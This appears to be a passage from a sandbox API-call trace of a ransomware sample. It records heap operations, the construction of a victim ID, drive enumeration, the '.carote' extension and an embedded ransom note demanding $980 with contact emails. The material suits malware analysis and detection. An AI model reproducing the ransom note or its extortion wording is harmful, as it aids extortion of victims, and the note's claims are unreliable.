lpString1="36F84F8D6D74C1EAAF") returned="36F84F8D6D74C1EAAF" [0110.323] GetLastError () returned 0x0 [0110.323] lstrcatA (in: lpString1="36F84F8D6D74C1EAAF", lpString2="F1" | out: lpString1="36F84F8D6D74C1EAAFF1") returned="36F84F8D6D74C1EAAFF1" [0110.323] GetLastError () returned 0x0 [0110.323] lstrcatA (in: lpString1="36F84F8D6D74C1EAAFF1", lpString2="D5" | out: lpString1="36F84F8D6D74C1EAAFF1D5") returned="36F84F8D6D74C1EAAFF1D5" [0110.323] GetLastError () returned 0x0 [0110.323] lstrcatA (in: lpString1="36F84F8D6D74C1EAAFF1D5", lpString2="8E" | out: lpString1="36F84F8D6D74C1EAAFF1D58E") returned="36F84F8D6D74C1EAAFF1D58E" [0110.323] GetLastError () returned 0x0 [0110.323] lstrcatA (in: lpString1="36F84F8D6D74C1EAAFF1D58E", lpString2="A5" | out: lpString1="36F84F8D6D74C1EAAFF1D58EA5") returned="36F84F8D6D74C1EAAFF1D58EA5" [0110.323] GetLastError () returned 0x0 [0110.323] lstrcatA (in: lpString1="36F84F8D6D74C1EAAFF1D58EA5", lpString2="1A" | out: lpString1="36F84F8D6D74C1EAAFF1D58EA51A") returned="36F84F8D6D74C1EAAFF1D58EA51A" [0110.323] GetLastError () returned 0x0 [0110.323] lstrcatA (in: lpString1="36F84F8D6D74C1EAAFF1D58EA51A", lpString2="BF" | out: lpString1="36F84F8D6D74C1EAAFF1D58EA51ABF") returned="36F84F8D6D74C1EAAFF1D58EA51ABF" [0110.323] GetLastError () returned 0x0 [0110.323] lstrcatA (in: lpString1="36F84F8D6D74C1EAAFF1D58EA51ABF", lpString2="D9" | out: lpString1="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned="36F84F8D6D74C1EAAFF1D58EA51ABFD9" [0110.324] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a13140 | out: hHeap=0x5010000) returned 1 [0110.324] CryptDestroyHash (hHash=0x7a42720) returned 1 [0110.324] CryptReleaseContext (hProv=0x50ebfa0, dwFlags=0x0) returned 1 [0110.324] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1d620 | out: hHeap=0x5010000) returned 1 [0110.324] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c180 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x28) returned 0x7a43b70 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3d210 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3d478 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3d6e0 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3d948 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3dbb0 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3de18 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3e080 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3e2e8 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3e550 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3e7b8 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x816) returned 0x7a1d1f0 [0110.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18bc38, cbMultiByte=-1, lpWideCharStr=0x7a1d1f0, cchWideChar=1035 | out: lpWideCharStr="_readme.txt") returned 12 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7a2c360 [0110.324] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1d1f0 | out: hHeap=0x5010000) returned 1 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x28) returned 0x7a43d20 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3ea20 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a3ec88 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a44060 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a442c8 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a44530 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a44798 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a44a00 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a44c68 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a44ed0 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a45138 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51096f8 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x130) returned 0x79f8730 [0110.324] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51096f8 | out: hHeap=0x5010000) returned 1 [0110.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x1d0) returned 0x7a1bf58 [0110.325] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x2b7) returned 0x7a1edf8 [0110.325] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1bf58 | out: hHeap=0x5010000) returned 1 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x412) returned 0x7a2cb88 [0110.325] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1edf8 | out: hHeap=0x5010000) returned 1 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x61a) returned 0x7a1d1f0 [0110.325] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a2cb88 | out: hHeap=0x5010000) returned 1 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x440) returned 0x7a1d818 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x106a) returned 0x7a33048 [0110.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7a1d818, cbMultiByte=-1, lpWideCharStr=0x7a33048, cchWideChar=2101 | out: lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned 1078 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x1070) returned 0x7a340c0 [0110.325] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a33048 | out: hHeap=0x5010000) returned 1 [0110.325] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1d818 | out: hHeap=0x5010000) returned 1 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x28) returned 0x7a43d50 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a453a0 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a45608 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a45870 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a45ad8 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a45d40 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a45fa8 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a46210 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a46478 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a466e0 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a46948 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80e) returned 0x7a33048 [0110.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18bc38, cbMultiByte=-1, lpWideCharStr=0x7a33048, cchWideChar=1031 | out: lpWideCharStr=".carote") returned 8 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7a33860 [0110.325] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a33048 | out: hHeap=0x5010000) returned 1 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a0ecf0 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x18) returned 0x7a13160 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0110.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a059e8 [0110.325] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a13160 | out: hHeap=0x5010000) returned 1 [0110.326] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c118 [0110.326] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x48) returned 0x7a3ac80 [0110.326] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a059e8 | out: hHeap=0x5010000) returned 1 [0110.326] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1a928 [0110.326] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c0b0 [0110.326] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3ac80 | out: hHeap=0x5010000) returned 1 [0110.326] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d448 [0110.326] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7968190 [0110.326] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c0b0 | out: hHeap=0x5010000) returned 1 [0110.326] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d4a0 [0110.326] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1a9b8 [0110.326] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd8) returned 0x79bf458 [0110.326] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7968190 | out: hHeap=0x5010000) returned 1 [0110.326] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a0ed18 [0110.326] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d4f8 [0110.326] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c0b0 [0110.326] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x138) returned 0x79f1a60 [0110.326] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79bf458 | out: hHeap=0x5010000) returned 1 [0110.326] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aa00 [0110.326] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d550 [0110.326] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d5a8 [0110.326] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aa48 [0110.326] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x1c8) returned 0x7a1bf58 [0110.326] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f1a60 | out: hHeap=0x5010000) returned 1 [0110.326] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0ecf0 | out: hHeap=0x5010000) returned 1 [0110.326] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0110.326] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c118 | out: hHeap=0x5010000) returned 1 [0110.326] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1a928 | out: hHeap=0x5010000) returned 1 [0110.326] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d448 | out: hHeap=0x5010000) returned 1 [0110.326] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d4a0 | out: hHeap=0x5010000) returned 1 [0110.326] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1a9b8 | out: hHeap=0x5010000) returned 1 [0110.326] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0ed18 | out: hHeap=0x5010000) returned 1 [0110.326] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d4f8 | out: hHeap=0x5010000) returned 1 [0110.326] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c0b0 | out: hHeap=0x5010000) returned 1 [0110.326] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aa00 | out: hHeap=0x5010000) returned 1 [0110.327] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d550 | out: hHeap=0x5010000) returned 1 [0110.327] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d5a8 | out: hHeap=0x5010000) returned 1 [0110.327] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aa48 | out: hHeap=0x5010000) returned 1 [0110.327] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1bf58 | out: hHeap=0x5010000) returned 1 [0110.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x28) returned 0x7a43f00 [0110.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a46bb0 [0110.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a46e18 [0110.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a47080 [0110.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a472e8 [0110.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a47550 [0110.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a477b8 [0110.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a47a20 [0110.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a47c88 [0110.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a2a378 [0110.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25c) returned 0x7a2a5e0 [0110.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51096f8 [0110.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x130) returned 0x79f8730 [0110.327] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51096f8 | out: hHeap=0x5010000) returned 1 [0110.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x1d0) returned 0x7a1bf58 [0110.327] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0110.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x2b7) returned 0x7a1edf8 [0110.327] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1bf58 | out: hHeap=0x5010000) returned 1 [0110.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x412) returned 0x7a1d818 [0110.327] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1edf8 | out: hHeap=0x5010000) returned 1 [0110.327] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x61a) returned 0x7a2cb88 [0110.327] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1d818 | out: hHeap=0x5010000) returned 1 [0110.327] GetUserNameW (in: lpBuffer=0x18bf40, pcbBuffer=0x18bcac | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18bcac) returned 1 [0110.328] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x590) returned 0x7a1d818 [0110.328] GetLastError () returned 0x0 [0110.329] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18b9a0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0110.330] GetFileType (hFile=0x5bc) returned 0x1 [0110.330] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x1000) returned 0x7a5f8c8 [0110.331] ReadFile (in: hFile=0x5bc, lpBuffer=0x7a5f8c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18ba08, lpOverlapped=0x0 | out: lpBuffer=0x7a5f8c8*, lpNumberOfBytesRead=0x18ba08*=0x2a, lpOverlapped=0x0) returned 1 [0110.331] GetLastError () returned 0x0 [0110.331] ReadFile (in: hFile=0x5bc, lpBuffer=0x7a5f8c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18ba08, lpOverlapped=0x0 | out: lpBuffer=0x7a5f8c8*, lpNumberOfBytesRead=0x18ba08*=0x0, lpOverlapped=0x0) returned 1 [0110.331] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a5f8c8 | out: hHeap=0x5010000) returned 1 [0110.331] CloseHandle (hObject=0x5bc) returned 1 [0110.332] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bfe0 | out: hHeap=0x5010000) returned 1 [0110.332] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a13140 | out: hHeap=0x5010000) returned 1 [0110.332] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c118 | out: hHeap=0x5010000) returned 1 [0110.332] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0110.332] RegisterClassExW (param_1=0x18bc18) returned 0xc129 [0110.333] CreateWindowExW (dwExStyle=0x0, lpClassName="LPCWSTRszWindowClass", lpWindowName="LPCWSTRszTitle", dwStyle=0xcf0000, X=-2147483648, Y=0, nWidth=-2147483648, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20156 [0110.340] NtdllDefWindowProc_W () returned 0x0 [0110.340] NtdllDefWindowProc_W () returned 0x1 [0110.342] NtdllDefWindowProc_W () returned 0x0 [0110.344] NtdllDefWindowProc_W () returned 0x0 [0110.344] ShowWindow (hWnd=0x20156, nCmdShow=0) returned 0 [0110.344] UpdateWindow (hWnd=0x20156) returned 1 [0110.344] GetLogicalDrives () returned 0x4 [0110.345] SetErrorMode (uMode=0x1) returned 0x0 [0110.345] PathFileExistsA (pszPath="C:\\") returned 1 [0110.345] SetErrorMode (uMode=0x0) returned 0x1 [0110.345] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0110.345] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x806) returned 0x7a8c7d8 [0110.345] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18bbd0, cbMultiByte=-1, lpWideCharStr=0x7a8c7d8, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0110.345] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7a5f8c8 [0110.345] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a8c7d8 | out: hHeap=0x5010000) returned 1 [0110.345] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x18) returned 0x7a13140 [0110.345] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a5f8c8 | out: hHeap=0x5010000) returned 1 [0110.345] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a13140 | out: hHeap=0x5010000) returned 1 [0110.345] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x18) returned 0x7a13140 [0110.345] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x10) returned 0x7a19cf0 [0110.345] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x110) returned 0x79d5218 [0110.345] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7a5f8c8 [0110.345] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7a7de98 [0110.345] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x1070) returned 0x7a600e0 [0110.345] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c118 [0110.345] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7a5afa8 [0110.345] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x660) returned 0x7a61158 [0110.345] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7a8c7f0 [0110.346] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7a8d078 [0110.346] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7a8d900 [0110.346] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7a8e188 [0110.346] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7a8ea10 [0110.346] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7a5b7c0 [0110.346] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7a8f298 [0110.346] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7a8fb20 [0110.346] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7a5c008 [0110.346] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7a5c850 [0110.346] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7a9c7d8 [0110.346] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7a903a8 [0110.346] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7a90c30 [0110.346] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7a9d040 [0110.346] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7a9d888 [0110.347] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7a914b8 [0110.347] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7a91d40 [0110.347] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7a925c8 [0110.347] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7a92e50 [0110.347] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7a936d8 [0110.347] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7a93f60 [0110.347] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7a947e8 [0110.347] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7a95070 [0110.347] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7a958f8 [0110.347] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7a96180 [0110.347] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7a9e0d0 [0110.347] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7a9e938 [0110.347] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7a96a08 [0110.347] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7a97290 [0110.347] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7a97b18 [0110.347] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7a9f1a0 [0110.347] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7a9f9e8 [0110.347] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7a983a0 [0110.347] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7a98c28 [0110.348] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7a994b0 [0110.348] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7a99d38 [0110.348] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7a9a5c0 [0110.348] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7a9ae48 [0110.348] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7a9b6d0 [0110.348] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7aa0248 [0110.348] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7aa0ad0 [0110.348] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7ab0230 [0110.348] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7ab0a98 [0110.348] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7aa1358 [0110.348] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7aa1be0 [0110.348] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7aa2468 [0110.348] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ab1300 [0110.348] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7aa2cf0 [0110.348] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7aa3578 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7aa3e00 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7aa4688 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7aa4f10 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7aa5798 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7aa6020 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7aa68a8 [0110.349] 